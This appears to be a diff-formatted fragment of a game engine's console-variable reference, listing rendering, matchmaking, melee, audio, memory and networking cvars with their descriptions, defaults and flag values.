+mat_materialmip_character_3 + + + +default: `"1 1 2 2"` +flags: `0x2` +
+
+mat_materialmip_character_4 + + + +default: `"3 3 3 3"` +flags: `0x2` +
+
+mat_materialmip_cockpit_0 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_cockpit_1 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_cockpit_2 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_cockpit_3 + + + +default: `"1 0 0 1"` +flags: `0x2` +
+
+mat_materialmip_cockpit_4 + + + +default: `"3 3 3 3"` +flags: `0x2` +
+
+mat_materialmip_model_0 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_model_1 + + + +default: `"1 0 1 1"` +flags: `0x2` +
+
+mat_materialmip_model_2 + + + +default: `"1 1 1 1"` +flags: `0x2` +
+
+mat_materialmip_model_3 + + + +default: `"1 1 2 2"` +flags: `0x2` +
+
+mat_materialmip_model_4 + + + +default: `"3 3 3 3"` +flags: `0x2` +
+
+mat_materialmip_other_0 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_other_1 + + + +default: `"1 1 1 1"` +flags: `0x2` +
+
+mat_materialmip_other_2 + + + +default: `"1 1 1 1"` +flags: `0x2` +
+
+mat_materialmip_other_3 + + + +default: `"1 1 1 1"` +flags: `0x2` +
+
+mat_materialmip_other_4 + + + +default: `"3 3 3 3"` +flags: `0x2` +
+
+mat_materialmip_world_0 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_world_1 + + + +default: `"0 0 1 1"` +flags: `0x2` +
+
+mat_materialmip_world_2 + + + +default: `"0 1 1 1"` +flags: `0x2` +
+
+mat_materialmip_world_3 + + + +default: `"1 1 2 2"` +flags: `0x2` +
+
+mat_materialmip_world_4 + + + +default: `"3 3 3 3"` +flags: `0x2` +
+
+mat_maxframelatency + + + +default: `"1"` +flags: `0x2` +
+
+mat_mip_linear + + + +default: `"1"` +flags: `0x40000000` +
+
+mat_mipmaptextures + + + +default: `"1"` +flags: `0x2` +
+
+mat_norendering + + + +default: `"0"` +flags: `0x4000` +
+
+mat_norendering + + + +default: `"0"` +flags: `0x4000` +
+
+mat_phong + + + +default: `"1"` +flags: `0x2` +
+
+mat_picmip + + + +default: `"0"` +flags: `0x40000000` +min value: `0` +max value: `4` +
+
+mat_postprocess_enable + + + +default: `"1"` +flags: `0x4000` +
+
+mat_postprocess_enable + + + +default: `"1"` +flags: `0x4000` +
+
+mat_proxy + + + +default: `"0"` +flags: `0x4000` +
+
+mat_reducefillrate + + + +default: `"0"` +flags: `0x2` +
+
+mat_report_queue_status + + + +default: `"0"` +flags: `0x800002` +
+
+mat_reversedepth + + + +default: `"0"` +flags: `0x4000` +
+
+mat_screen_blur_enabled + +Enables screen blur render step + +default: `"1"` +flags: `0x2` +
+
+mat_screen_blur_override + + + +default: `"-1.0"` +flags: `0x2` +
+
+mat_shadowstate + + + +default: `"1"` +flags: `0x2` +
+
+mat_sharpen_amount + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_sharpen_threshold + + + +default: `"0.5"` +flags: `0x2` +
+
+mat_sharpen_width + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_show_texture_memory_usage + +Display the texture memory usage on the HUD. + +default: `"0"` +flags: `0x5000` +
+
+mat_showenvmapmask + + + +default: `"0"` +flags: `0x2` +
+
+mat_showlowresimage + + + +default: `"0"` +flags: `0x4000` +
+
+mat_showmiplevels + +color-code miplevels 2: normalmaps, 1: everything else + +default: `"0"` +flags: `0x4000` +
+
+mat_skipid + +Don't draw a particular mesh id. Helps track down which mesh you care about. + +default: `"-1"` +flags: `0x4000` +
+
+mat_sky_color + +forces the color of sky ambient; the alpha value of 0 means no override. + +default: `"0.0 0.0 0.0 0.0"` +flags: `0x4000` +
+
+mat_sky_scale + +scales all sky ambient light by a constant factor + +default: `"1.0"` +flags: `0x4000` +
+
+mat_slopescaledepthbias_decal + + + +default: `"-4"` +flags: `0x4002` +
+
+mat_slopescaledepthbias_normal + + + +default: `"0.0f"` +flags: `0x4002` +
+
+mat_slopescaledepthbias_shadowmap + + + +default: `"2"` +flags: `0x4002` +
+
+mat_slopescaledepthbias_ui + + + +default: `"-1.7"` +flags: `0x4002` +
+
+mat_slopescaledepthbias_zfill + + + +default: `"2"` +flags: `0x4002` +
+
+mat_sun_color + +forces the color of the sun directional light; the alpha value of 0 means no override. + +default: `"0.0 0.0 0.0 0.0"` +flags: `0x4000` +
+
+mat_sun_scale + +scales all sun direct light by a constant factor + +default: `"1.0"` +flags: `0x40004000` +
+
+mat_surfacefilter + +If set, limits surfaces shown by mat_surfaceid and mat_surfacemat to those containing the substring. + +default: `""` +flags: `0x4000` +
+
+mat_surfaceid + +Draws the index of world surfaces. Can be filtered with mat_surfacefilter. + +default: `"0"` +flags: `0x4000` +
+
+mat_surfacemat + +Draws the material name of world surfaces. Can be filtered with mat_surfacefilter. + +default: `"0"` +flags: `0x4000` +
+
+mat_syncGPU + +If true, syncs the render thread to the GPU at the end of each frame, instead of letting the render thread get one frame ahead. + +default: `"0"` +flags: `0x4000` +
+
+mat_syncInterval + +Number of frames to skip per sync. 0 = novsync, 1 = 60 fps, 2 = 30, 3 == 20, 4 = 15, etc. + +default: `"1"` +flags: `0x2` +
+
+mat_sync_rt + +Sync the render thread after each queued call. This is really slow, but makes debugging much easier. + +default: `"0"` +flags: `0x4000` +
+
+mat_sync_rt_flushes_gpu + + + +default: `"0"` +flags: `0x2` +
+
+mat_texture_list + +For debugging, show a list of used textures per frame + +default: `"0"` +flags: `0x2` +
+
+mat_texture_list_view + +If this is nonzero, then the texture list panel will render thumbnails of currently-loaded textures. + +default: `"1"` +flags: `0x1002` +
+
+mat_translucency_errors + + + +default: `"0"` +flags: `0x2` +
+
+mat_vignette_enable + + + +default: `"0"` +flags: `0x2` +
+
+mat_warn_texture_convert + +Print warnings for textures that had to be converted at load time, slowing down loads. 0 = off, 1 = old size not smaller, 2 = any change + +default: `"0"` +flags: `0x2` +
+
+match_backingOutMaxTimeToWait + + + +default: `"60"` +flags: `0x2` +
+
+match_backoutslow + +Forces empty server queries (for backing out of a lobby) to take this long + +default: `"0"` +flags: `0x2` +
+
+match_connect + +If set to 0, we won't actually connect to any matchmaking results we get back + +default: `"1"` +flags: `0x2` +
+
+match_defaultMap_party + +Default map to load if the dedicated server is empty + +default: `"mp_lobby"` +flags: `0x2` +
+
+match_dir + +What dir to look in for the matchmaking scripts + +default: `""` +flags: `0x2` +
+
+match_dumpSearchResults + +Dumps search result text to the console + +default: `"0"` +flags: `0x2` +
+
+match_emptyUpdateRate + + + +default: `"30"` +flags: `0x2` +
+
+match_enabled + + + +default: `"1"` +flags: `0x2` +
+
+match_fakePort + +Lie about our port number (so players can't connect) + +default: `"-1"` +flags: `0x2` +
+
+match_fakeS2SPort + +Lie about our s2s port number (so servers can't connect) + +default: `"-1"` +flags: `0x2` +
+
+match_forceVerboseSearches + + + +default: `"0"` +flags: `0x2` +
+
+match_goodReputation + + + +default: `"1"` +flags: `0x80000202` +
+
+match_maxPingsSent + + + +default: `"50"` +flags: `0x2` +
+
+match_myBestDatacenter + +Which datacenter we have the lowest ping to + +default: `""` +flags: `0x80080200` +
+
+match_myDatacenter + +Which datacenter we prefer (same as match_myBestDatacenter unless user changes it) + +default: `""` +flags: `0x80080200` +
+
+match_myRankedDatacenter + +Which datacenter we prefer for Ranked play (same as match_myBestDatacenter unless user changes it) + +default: `""` +flags: `0x80080200` +
+
+match_myTeam + + + +default: `"0"` +flags: `0x200` +
+
+match_partyChangeNum + +The int that represents the change num of our party struct (did it change?) + +default: `""` +flags: `0x200` +
+
+match_partySize + +The size of our party + +default: `""` +flags: `0x200` +
+
+match_partySub + +The name of our party subscription + +default: `""` +flags: `0x200` +
+
+match_pingWaveInterval + + + +default: `"0.2"` +flags: `0x2` +
+
+match_playlist + +The playlist we are looking for + +default: `""` +flags: `0x80200` +
+
+match_precachemap + +Whether to precache the map for the selected playlist + +default: `"1"` +flags: `0x2002` +
+
+match_privateMatchListWithStryder + + + +default: `"1"` +flags: `0x2` +
+
+match_rankedMaxPing + + + +default: `"200"` +flags: `0x2002` +
+
+match_rankedSwitchETA + + + +default: `"300"` +flags: `0x2002` +
+
+match_resetPlaylistBetweenMatches + + + +default: `"1"` +flags: `0x2` +
+
+match_roleToken + +The role token used when matchmaking (e.g. for private match). + +default: `""` +flags: `0x80200` +
+
+match_searchInterval + +How often to repeat searches + +default: `"2"` +flags: `0x80000` +
+
+match_searching + +Whether or not we want the system to be actively searching right now + +default: `"0"` +flags: `0x80200` +
+
+match_teamNoFill + +If set, matchmaking won't fill the player's team with non-party members + +default: `"0"` +flags: `0x80200` +
+
+match_updateNotableRate + + + +default: `"5"` +flags: `0x2` +
+
+match_updateRate + + + +default: `"30"` +flags: `0x2` +
+
+match_useMatchmaking + +This dedi is a matchmaking dedi + +default: `"0"` +flags: `0x2` +
+
+match_verbosePrintsInterval + + + +default: `"60"` +flags: `0x2` +
+
+match_visiblePlaylists + + + +default: `""` +flags: `0x2002` +
+
+matchmaking_hostname + + + +default: `""` +flags: `0x80000` +
+
+max_explosive_damage_mass + +Anything heavier than this will be clamped. (units kg) + +default: `"100"` +flags: `0x2002` +
+
+max_explosive_damage_velocity + +inches/sec + +default: `"200"` +flags: `0x2002` +
+
+max_tweak_shadow_updates + + + +default: `"8"` +flags: `0x2` +
+
+melee_aim_assist_can_lock_pitch + + + +default: `"0"` +flags: `0x2002` +
+
+melee_aim_assist_use_target_velocity + + + +default: `"0"` +flags: `0x2002` +
+
+melee_attack_trace_can_use_lunge_distance + + + +default: `"0.5"` +flags: `0x2002` +
+
+melee_cone_trace_box_check + + + +default: `"0.5"` +flags: `0x2002` +
+
+melee_lunge_abort_distance + +Abort the lunge if the distance moved in one frame is less than this much of the expected lunge distance. + +default: `"0.25"` +flags: `0x2002` +
+
+melee_lunge_abort_if_blocked + +Lunging can abort if the player hits something that blocks their lunge movement. + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_adjust_trace_distance + + + +default: `"0"` +flags: `0x2002` +
+
+melee_lunge_align_eye_position + + + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_dot_check + + + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_force_enable_flying + +Lunging will always ignore gravity. + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_lag_compensate_target + +Lunging will apply lag compensation the target's position. + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_scale_by_speed + +Increase lunge range (by up to the given scale) if the player is going fast enough. + +default: `"2.0"` +flags: `0x2002` +
+
+melee_lunge_slide + +When lunging, try slide along surfaces + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_use_closest_distance_between_cylinders + +When calculating distance to the lunge target, treat them as cylinders rather than points. + +default: `"1"` +flags: `0x2002` +
+
+melee_lunge_use_command_time + + + +default: `"1"` +flags: `0x2002` +
+
+melee_queue_attack_anim_event + +Run melee attacks after the player has moved this frame + +default: `"1"` +flags: `0x2002` +
+
+mem_dumpstats + +Dump current and max heap usage info to console at end of frame ( set to 2 for continuous output ) + + +default: `"0"` +flags: `0x2` +
+
+mem_force_flush + +Force cache flush of unlocked resources on every alloc + +default: `"0"` +flags: `0x2` +
+
+mem_force_flush_section + +Cache section to restrict mem_force_flush + +default: `""` +flags: `0x2` +
+
+mem_incremental_compact_rate + +Rate at which to attempt internal heap compaction + +default: `".5"` +flags: `0x4000` +
+
+mem_level + +Memory Level - Default: High + +default: `"2"` +flags: `0x2` +
+
+mem_level + +Memory Level - Default: High + +default: `"2"` +flags: `0x2` +
+
+mem_max_heapsize + +Maximum amount of memory to dedicate to engine hunk and datacache (in mb) + +default: `"1024"` +flags: `0x2` +
+
+mem_max_heapsize_dedicated + +Maximum amount of memory to dedicate to engine hunk and datacache, for dedicated server (in mb) + +default: `"64"` +flags: `0x2` +
+
+mem_min_heapsize + +Minimum amount of memory to dedicate to engine hunk and datacache (in mb) + +default: `"48"` +flags: `0x2` +
+
+mem_runheapchecks + + + +default: `"0"` +flags: `0x2` +
+
+mem_test_each_frame + +Run heap check at end of every frame + + +default: `"0"` +flags: `0x2` +
+
+mem_test_every_n_seconds + +Run heap check at a specified interval + + +default: `"0"` +flags: `0x2` +
+
+mem_test_quiet + +Don't print stats when memtesting + +default: `"0"` +flags: `0x2` +
+
+menu_faq_community_version + + + +default: `"-1"` +flags: `0x1000000` +
+
+menu_faq_patchnotes_version + + + +default: `"-1"` +flags: `0x1000000` +
+
+menu_faq_viewed + + + +default: `"0"` +flags: `0x1000000` +
+
+menu_was_multiplayer_played_last + + + +default: `"0"` +flags: `0x1000000` +
+
+migrate_attempt_interval + + + +default: `"2.5"` +flags: `0x2` +
+
+migrate_attempt_max_retries + + + +default: `"5"` +flags: `0x2` +
+
+miles_actor_occlusion_radius + +Distance which must be penetrated for one of the entity check points to be considered occluded. + +default: `"8.0"` +flags: `0x2` +
+
+miles_channels + +Number of audio channels, commonly 2(stereo), 6(5.1), 8(7.1). (0 is default) + +default: `"0"` +flags: `0x40000000` +
+
+miles_flip_active_window_logic + +Only hear audio when NOT the active window. + +default: `"0"` +flags: `0x2002` +
+
+miles_force_emitter_environment + +Force Environment on played sounds and entities (per-event controllers and suffixes.) + +default: `""` +flags: `0x2` +
+
+miles_force_listener_environment + +Force environment on listener (i.e., global controller changes only) + +default: `""` +flags: `0x2` +
+
+miles_freeze + +When 1, sound is paused and incoming play events are ignored. + +default: `"0"` +flags: `0x2` +
+
+miles_initial_occlusion_delay + +Time (in msec) to delay new sounds when we defer their traces. + +default: `"0"` +flags: `0x2` +
+
+miles_language + +Language to use for audio (requires a miles restart to change.) + +default: `""` +flags: `0x1000000` +
+
+miles_listener_freeze + +When 1, stop updating listener position. + +default: `"0"` +flags: `0x2` +
+
+miles_nonactor_occlusion + +Do traces to determine when non-entity sounds are occluded. + +default: `"1"` +flags: `0x2` +
+
+miles_nonactor_occlusion_radius + +Distance which must be penetrated for a non-entity sound to be considered occluded. + +default: `"8.0"` +flags: `0x2` +
+
+miles_nopandist + +Distance at which panning is forced to center-front. + +default: `"10"` +flags: `0x2` +
+
+miles_occlusion + +When nonzero, perform occlusion checks + +default: `"1"` +flags: `0x1000000` +
+
+miles_occlusion_force + +0 to 100: Force all sounds to have occlusion values of 0 (unoccluded) to 100 (completely occluded). -1 for normal. + +default: `"-1"` +flags: `0x2` +
+
+miles_occlusion_partial + +When zero, occlusion state is binary. When nonzero, allow partial occlusion of audio. + +default: `"1"` +flags: `0x2` +
+
+miles_occlusion_use_reset_after_deferred_initial + +For A/B testing feature. Enable permanently eventually. + +default: `"1"` +flags: `0x2` +
+
+miles_samplerate + +Sample rate, commonly 48000, 44100, 22050, or 11025 (0 is default) + +default: `"0"` +flags: `0x2` +
+
+miles_server_sounds_debug + + + +default: `"0"` +flags: `0x2` +
+
+miles_server_sounds_print + + + +default: `"0"` +flags: `0x2` +
+
+miles_solo_ents + +Only play sounds from this entity index (or space-separated list of indices.) + +default: `""` +flags: `0x2` +
+
+miles_soundscape_imgui + +Show imgui-based soundscape debugging window + +default: `"0"` +flags: `0x2` +
+
+miles_spatialize_front_degrees + +Front panning field angle + +default: `"45.0"` +flags: `0x2` +
+
+miles_spatialize_offplane_strength + +Offplane omni-fication strength + +default: `"0.7"` +flags: `0x2` +
+
+miles_spatialize_on + +Enable hard spatialization test + +default: `"1"` +flags: `0x2` +
+
+miles_spatialize_rear_degrees + +Rear panning field angle + +default: `"120.0"` +flags: `0x2` +
+
+miles_suffixes + +Use emitter suffixed versions of sounds. + +default: `"1"` +flags: `0x2` +
+
+min_explosive_damage_mass + +Anything lighter than this will be clamped. (units kg) + +default: `"20"` +flags: `0x2002` +
+
+missile_default_speed + + + +default: `"2500"` +flags: `0x2002` +
+
+missile_homing_speed + + + +default: `"150"` +flags: `0x2002` +
+
+mod_trace_load + + + +default: `"0"` +flags: `0x2` +
+
+model_defaultFadeDistMin + +Default minimum fade distance. + +default: `"400"` +flags: `0x4000` +
+
+model_defaultFadeDistMin + +Default minimum fade distance. + +default: `"400"` +flags: `0x4000` +
+
+model_defaultFadeDistScale + +Factor that is multiplied by the model's radius to get the default fade distance. + +default: `"40"` +flags: `0x4000` +
+
+model_defaultFadeDistScale + +Factor that is multiplied by the model's radius to get the default fade distance. + +default: `"40"` +flags: `0x4000` +
+
+model_fadeRangeFraction + +Fraction of the fade distance to fade over. + +default: `"0.1"` +flags: `0x4000` +
+
+model_fadeRangeFractionNear + +Fraction of the near fade distance at which impostors are invisible. + +default: `"0.9"` +flags: `0x4000` +
+
+monitor_cc + + + +default: `"1"` +flags: `0x2` +
+
+monitor_mat_sharpen_amount + + + +default: `"2.0"` +flags: `0x2` +
+
+monitor_postfx + + + +default: `"1"` +flags: `0x2` +
+
+monitor_rui_world_enabled + + + +default: `"0"` +flags: `0x2` +
+
+monitor_snapshot_frame_delay + + + +default: `"20"` +flags: `0x2` +
+
+monitor_zfar_default + + + +default: `"642"` +flags: `0x2` +
+
+monitor_zfar_override + + + +default: `"0"` +flags: `0x2` +
+
+monitor_zfar_override_enabled + + + +default: `"0"` +flags: `0x2` +
+
+motd + + + +default: `""` +flags: `0x12` +
+
+mouse_sensitivity + +Mouse sensitivity. + +default: `"5"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_use_per_scope_sensitivity_scalars + +Uses the per scope scalars + +default: `"0"` +flags: `0x80` +
+
+mouse_zoomed_sensitivity_scalar_0 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_1 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_2 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_3 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_4 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_5 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_6 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+mouse_zoomed_sensitivity_scalar_7 + +Mouse sensitivity. + +default: `"1.0"` +flags: `0x80` +min value: `0.1` +max value: `20` +
+
+move_one_cmd_per_client_frame + +Force clients to generate exactly one user command per client frame. There will not be a one-to-one relationship between cmds and ticks. + +default: `"1"` +flags: `0x2002` +
+
+movement_anim_downed_playback_maxrate + + + +default: `"2.5"` +flags: `0x2002` +
+
+movement_anim_playback_maxrate + + + +default: `"10"` +flags: `0x2002` +
+
+movement_anim_playback_minrate + + + +default: `"0.25"` +flags: `0x2002` +
+
+movement_anim_sprint_playback_maxrate + + + +default: `"1.25"` +flags: `0x2002` +
+
+mp_accountLink_requestInterval + + + +default: `"3"` +flags: `0x2` +
+
+mp_allowed + + + +default: `"-1"` +flags: `0x2` +
+
+mp_bodyyawrate + + + +default: `"400"` +flags: `0x2002` +
+
+mp_countRRNobodyAsLobby + + + +default: `"0"` +flags: `0x2` +
+
+mp_enablematchending + +When set to 0, match will not end + +default: `"1"` +flags: `0x2002` +
+
+mp_enabletimelimit + +enable mp_timelimit timer in games + +default: `"1"` +flags: `0x2002` +
+
+mp_gamemode + +Current game mode name + +default: `""` +flags: `0x12002` +
+
+mp_linkingAccountTime + + + +default: `"0"` +flags: `0x2` +
+
+mp_linkingAccountWindow + + + +default: `"300"` +flags: `0x2` +
+
+mp_maxbodyyaw + + + +default: `"60"` +flags: `0x2002` +
+
+mp_permission_requestInterval + + + +default: `"30"` +flags: `0x2` +
+
+mp_permission_rerequestInterval + + + +default: `"21600"` +flags: `0x2` +
+
+mp_player_level + +To read mp player level in SP + +default: `"0"` +flags: `0x1000000` +
+
+mp_scaleAnimationSpeeds + + + +default: `"1"` +flags: `0x2002` +
+
+mp_showgestureslots + +Show multiplayer client/server gesture slot information for the specified player index (-1 for no one). + +default: `"-1"` +flags: `0x6002` +
+
+mtx_svEdition + + + +default: `"78"` +flags: `0x2002` +
+
+muteWeaponSounds + + + +default: `"0"` +flags: `0x2002` +
+
+name + +Current user name + +default: `"unnamed"` +flags: `0x480` +
+
+net_RunInvalidatePhysics + + + +default: `"0"` +flags: `0x2` +
+
+net_async_sendto + + + +default: `"0"` +flags: `0x2` +
+
+net_autoUnthrottle + + + +default: `"0"` +flags: `0x2` +
+
+net_bandwidthPrintThreshold + +Percentage where it's worth printing spam about this message in the bandwidth tracker prints + +default: `"1"` +flags: `0x2` +
+
+net_bindToSpecificAddress + +Only bind to a certain interface + +default: `"0"` +flags: `0x80000` +
+
+net_blockmsg + +Discards incoming message: <0|1|name> + +default: `"none"` +flags: `0x4000` +
+
+net_chatThroughChatserver + + + +default: `"0"` +flags: `0x2` +
+
+net_chokeloop + +Apply bandwidth choke to loopback packets (only in MP) + +default: `"1"` +flags: `0x2` +
+
+net_clearReliableDataOnReset + +Whether we should erase unsent reliable data when we call netchan->Reset() + +default: `"0"` +flags: `0x2` +
+
+net_client_side_weapon_animations + +Enable/disable client side weapon animations. Only apply to already optimized weapons, eg. rapid fire instant hit weapons like xo16, r101 etc. + +default: `"1"` +flags: `0x2002` +
+
+net_compressDataBlock + + + +default: `"1"` +flags: `0x2` +
+
+net_compressLZValue + + + +default: `"1"` +flags: `0x2` +
+
+net_compresspackets + +Use lz compression on game packets. + +default: `"0"` +flags: `0x2` +
+
+net_compresspackets_minsize + +Don't bother compressing packets below this size. + +default: `"1000"` +flags: `0x2` +
+
+net_connectPacketWarningThreshhold + + + +default: `"0.9"` +flags: `0x2` +
+
+net_connectingDataRate + + + +default: `"128000"` +flags: `0x2` +
+
+net_createUndoDeltas + + + +default: `"1"` +flags: `0x2` +
+
+net_data_block_enabled + +Enable/disable net data block optimization for load times. When disabled large chunks are sent down via existing netchan reliability system instead of net data blocks. + +default: `"1"` +flags: `0x2002` +
+
+net_datablockPrintSummaries + + + +default: `"0"` +flags: `0x2` +
+
+net_datablock_fastRate + + + +default: `"128000"` +flags: `0x2` +
+
+net_datablock_longSendTime + + + +default: `"10"` +flags: `0x2` +
+
+net_datablock_minResendInterval + + + +default: `"0.1"` +flags: `0x2` +
+
+net_datablock_networkLossForSlowSpeed + + + +default: `"0.1"` +flags: `0x2` +
+
+net_datablock_resendRateForSlowSpeed + + + +default: `"3"` +flags: `0x2` +
+
+net_datablock_slowRate + + + +default: `"64000"` +flags: `0x2` +
+
+net_debugDataBlockReceiver + + + +default: `"0"` +flags: `0x2` +
+
+net_debugDataBlockSender + + + +default: `"0"` +flags: `0x2` +
+
+net_debugLerping + + + +default: `"-1"` +flags: `0x2` +
+
+net_deltaFieldEntityBlockSize + + + +default: `"5"` +flags: `0x2` +
+
+net_disconnectIfDeltaBufferIsFull + + + +default: `"0"` +flags: `0x2` +
+
+net_drawslider + +Draw completion slider during signon + +default: `"0"` +flags: `0x2` +
+
+net_droppackets + +Drops next n packets on client + +default: `"0"` +flags: `0x4000` +
+
+net_dumpChangesPrecise + +Prints floats at full precision + +default: `"0"` +flags: `0x2` +
+
+net_encrypt_copyCtx + + + +default: `"1"` +flags: `0x2` +
+
+net_encryptionDebug + + + +default: `"0"` +flags: `0x2` +
+
+net_forceDeltaBufferToOverflow + + + +default: `"0"` +flags: `0x2` +
+
+net_forceUnnecessaryUndoDeltas + + + +default: `"0"` +flags: `0x2` +
+
+net_forcetimeout + + + +default: `"0"` +flags: `0x4000` +
+
+net_fullyConnectedDataRate + + + +default: `"256000"` +flags: `0x2` +
+
+net_highPacketLatencyThreshold + + + +default: `"0.200"` +flags: `0x2` +
+
+net_highPacketLossThreshold + + + +default: `"0.05"` +flags: `0x2` +
+
+net_ignoreAllSnapshots + +Drop all snapshot messages + +default: `"0"` +flags: `0x2` +
+
+net_largeSnapshotThreshold + +The size of a snapshot that qualifies as a large snapshot + +default: `"15000"` +flags: `0x2` +
+
+net_lerpFields + + + +default: `"1"` +flags: `0x2` +
+
+net_lowBandwidthConnect + + + +default: `"0"` +flags: `0x2` +
+
+net_maxAccumulatedClearTimeBalance + +Max time (in seconds) to count not sending data to this player towards their 'remaining bandwidth' balance [if we haven't sent a packet in 2 minutes, that doesn't mean they have 2 minutes of bandwidth remaining to use] + +default: `"0.5"` +flags: `0x2` +
+
+net_maxcleartime + +Max # of seconds we can wait for next packets to be sent based on rate setting (0 == no limit). + +default: `"4.0"` +flags: `0x2` +
+
+net_maxfilesize + +Maximum allowed file size for uploading in MB + +default: `"16"` +flags: `0x2` +min value: `0` +max value: `64` +
+
+net_maxfragments + +Max fragment bytes per packet + +default: `"1200"` +flags: `0x2` +min value: `256` +max value: `1200` +
+
+net_maxroutable + +Requested max packet size before packets are 'split'. + +default: `"1200"` +flags: `0x202` +min value: `576` +max value: `1200` +
+
+net_minConnectionTimeForSpam + + + +default: `"10"` +flags: `0x2` +
+
+net_minQueuedPacketsForPrint + + + +default: `"5"` +flags: `0x2` +
+
+net_minResetIdleTimerInterval + + + +default: `"10"` +flags: `0x2` +
+
+net_minimumPacketLossDC + +The lowest packet loss we have to any datacenter + +default: `"100"` +flags: `0x200` +
+
+net_minroutable + +Forces larger payloads. + +default: `"16"` +flags: `0x2` +
+
+net_netGraph2 + + + +default: `"0"` +flags: `0x40080000` +
+
+net_noPostDataForDeletedEnts + + + +default: `"1"` +flags: `0x2` +
+
+net_old_seed_generation + + + +default: `"0"` +flags: `0x2002` +
+
+net_optimize_persistent_data + + + +default: `"1"` +flags: `0x2002` +
+
+net_optimize_playlists + + + +default: `"1"` +flags: `0x2002` +
+
+net_optimize_weapons + +Enable/disable bandwidth optimizations made to weapons. Additional experimental optimizations can be enabled values 2 (weapon player data) and 3 (client side weapon animation) + +default: `"2"` +flags: `0x2002` +
+
+net_predictParentEntities + + + +default: `"0"` +flags: `0x2` +
+
+net_predictedEntsUseFirstAvailableSnapshot + + + +default: `"1"` +flags: `0x2` +
+
+net_predictionDebug + + + +default: `"0"` +flags: `0x2` +
+
+net_pretendSnapshotArrayFull + +Pretend the client snapshot array is full even when it isn't + +default: `"0"` +flags: `0x2` +
+
+net_printCompression + + + +default: `"1"` +flags: `0x2` +
+
+net_printOutOfSnapshots + + + +default: `"1"` +flags: `0x2` +
+
+net_printUnnecessaryDeltas + + + +default: `"0"` +flags: `0x2` +
+
+net_propSkipPrintThreshold + +Show prop skips more than this many apart + +default: `"1000"` +flags: `0x2` +
+
+net_queue_trace + + + +default: `"0"` +flags: `0x2000002` +
+
+net_queuedPackets_PrintOversleeps + + + +default: `"0"` +flags: `0x2` +
+
+net_queuedPackets_SkipSmallSleeps + + + +default: `"2"` +flags: `0x2` +
+
+net_queued_packet_sender_nopacket_sleep + + + +default: `"10"` +flags: `0x80000` +
+
+net_queued_packet_thread + +Use a high priority thread to send queued packets out instead of sending them each frame. + +default: `"1"` +flags: `0x2` +
+
+net_recentNetworkGapWindow + + + +default: `"2.0"` +flags: `0x2` +
+
+net_recentNetworkGapsNeeded + + + +default: `"2"` +flags: `0x2` +
+
+net_recreateScriptInstanceOnReplayTransition + + + +default: `"1"` +flags: `0x2` +
+
+net_recv_dumpChanges + + + +default: `"0"` +flags: `0x2` +
+
+net_recv_dumpNetworkedChangesOnEntCreate + + + +default: `"0"` +flags: `0x2` +
+
+net_recv_watchEnt + + + +default: `"-1"` +flags: `0x2` +
+
+net_recv_watchField1 + + + +default: `""` +flags: `0x2` +
+
+net_recv_watchField2 + + + +default: `""` +flags: `0x2` +
+
+net_resourcePrintMinimum + +Minimum count for printing bandwidth info about a resource (sound, effect) + +default: `"2"` +flags: `0x2` +
+
+net_sendFloatDeltas + + + +default: `"1"` +flags: `0x2` +
+
+net_sendProfileTotals + + + +default: `"0"` +flags: `0x2` +
+
+net_sendtoInJob + + + +default: `"1"` +flags: `0x2` +
+
+net_showFailedAuth + + + +default: `"1"` +flags: `0x2` +
+
+net_showLargeSnapshot + +Show console spam when we get large snapshots from the server + +default: `"1"` +flags: `0x2` +
+
+net_showQueued + + + +default: `"0"` +flags: `0x2` +
+
+net_showServerStruggle + +Print when the server is struggling. + +default: `"1"` +flags: `0x2` +
+
+net_showUndoDeltas + + + +default: `"0"` +flags: `0x2` +
+
+net_showUserWarnings + + + +default: `"1"` +flags: `0x2` +
+
+net_showchoke + +Show console spam when we get choked snapshots from the server + + +default: `"0"` +flags: `0x2` +
+
+net_showchokeInterval + +The minimum time interval between spam about going above our network budget + +default: `"5"` +flags: `0x2` +
+
+net_showdrop + +Show dropped packets in console + +default: `"0"` +flags: `0x2` +
+
+net_showfragments + +Show netchannel fragments + +default: `"0"` +flags: `0x2` +
+
+net_showmsg + +Show incoming message: <0|1|name> + +default: `"0"` +flags: `0x2` +
+
+net_showpeaks + +Show messages for large packets only: + +default: `"0"` +flags: `0x2` +
+
+net_showsendrecv + +Show sendto and recvfrom calls + +default: `"0"` +flags: `0x2` +
+
+net_showsplits + +Show info about packet splits + +default: `"0"` +flags: `0x80000` +
+
+net_showudp + +Dump UDP packets summary to console + +default: `"0"` +flags: `0x80000` +
+
+net_showudp_oob + +Dump OOB UDP packets summary to console + +default: `"0"` +flags: `0x80000` +
+
+net_showudp_remoteonly + +Dump non-loopback udp only + +default: `"0"` +flags: `0x80000` +
+
+net_showusercmd + +Show user command encoding + +default: `"0"` +flags: `0x2` +
